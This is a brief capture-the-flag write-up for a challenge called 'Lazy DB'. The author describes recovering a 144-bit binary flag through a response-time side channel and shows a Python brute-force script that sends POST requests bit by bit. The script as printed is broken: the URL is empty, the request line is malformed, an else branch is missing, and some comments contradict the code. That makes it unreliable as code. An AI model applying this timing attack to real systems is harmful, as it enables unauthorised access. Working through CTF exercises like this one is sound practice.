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CTF – [√-1 +1]CTF Server – Lazy DB

The Challenge


The Solution

This one was fun to do but I needed some help in the beginnen


Clicking on the source


So in the source we see that we need 144 character long string

We can use a post command

The hint I got was binary

When filling in a 0 or 1 on I noticed one was taking longer then the other one. So when the right combination is active the site react longer


I wrote a Python script to act on this

import requests


bi = "1"

url = ''

myobj = {'flag': bi}

#attempt = 1


while len(bi) < 144:

    print("We will try:", bi)

    response =, data=myobj)



    if response.elapsed.total_seconds() > 1:

        #If the 0 is goo then is can stay

        print("Number is good")

        bi = bi + "1" # add 0 for next run

        myobj = {'flag': bi}


        #if the 0 is wrong then we will replace it for a 1

        print("Number is wrong")

        bi = bi[:-1] #0 is wrong so we are going to add a 1

        bi = bi + "0"

        bi = bi + "1" #add 0 for next run

        myobj = {'flag': bi}



    print("Lengte flag is:", len(bi))

    print("flag is: ",bi)



I ended up with a 144 binary string. Which still needed to be encoded

Put it through CyberChef


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